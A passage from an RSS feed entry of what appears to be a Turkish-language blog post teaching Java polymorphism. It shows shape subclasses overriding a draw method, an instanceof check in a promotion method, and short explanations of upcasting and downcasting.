Daire extends Sekil {<br>    @Override<br>    void ciz() {<br>        System.out.println(&quot;Daireyi çiz.&quot;);<br>    }<br>}<br><br>class Kare extends Sekil {<br>    @Override<br>    void ciz() {<br>        System.out.println(&quot;Kareyi çiz.&quot;);<br>    }<br>}<br><br>public class PolymorphismOrnegi {<br>    public static void main(String[] args) {<br>        Sekil sekil1 = new Daire();<br>        Sekil sekil2 = new Kare();<br><br>        sekil1.ciz(); // Daire sınıfının ciz metodu çağrılır<br>        sekil2.ciz(); // Kare sınıfının ciz metodu çağrılır<br>    }<br>}</pre><p>Bu örnekte, Sekil sınıfının referansları, hem Daire sınıfının nesnelerini hem de Kare sınıfının nesnelerini işaret edebilir. Ve bu referanslar üzerinden çağrılan ciz metodu, ilgili alt sınıfın sürümünü çalıştırır.</p><p><strong>Polymorphism,</strong> Java’da kodunuzu daha esnek hale getirmenize, daha az kod yazmanıza ve daha kolay bakım yapmanıza yardımcı olan önemli bir <strong>OOP</strong> ilkesidir.</p><p><strong>Instance of methodu : </strong>Bir objenin belirli bir sınıfa ait olup olmadığını kontrol eder.</p><pre> public void terfiEttir(Personel p){<br><br>        ...<br><br>        if(p instanceof Ogretmen){<br>            ((Ogretmen)p).maasArttir();<br>        }<br>        if (p instanceof Isci){<br>            System.out.println(&quot;İşçiler terfi alamaz&quot;);<br>        }<br>        ...</pre><p><strong>NOT : Java’da <em>upcasting</em> ve <em>downcasting</em>, nesne yönelimli programlamada sınıflar arasındaki tür dönüşümlerini ifade eden iki önemli terimdir. Bu dönüşümler, kalıtım (inheritance) ve polymorphism (çok biçimlilik) kavramları ile ilgilidir.</strong></p><p>Upcasting (Yukarı Dönüşüm): Upcasting, bir alt sınıfın referansını üst sınıfın referansına atanmasıyla gerçekleşir.</p><p>Downcasting (Aşağı Dönüşüm): Downcasting, bir üst sınıfın referansını bir alt sınıfın referansına dönüştürme işlemidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*9BFQsWe-yRHumn4S.png" /><figcaption>Kaynak : Kasım Adalan “Java ile Android Geliştirme”</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=843923ece12e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>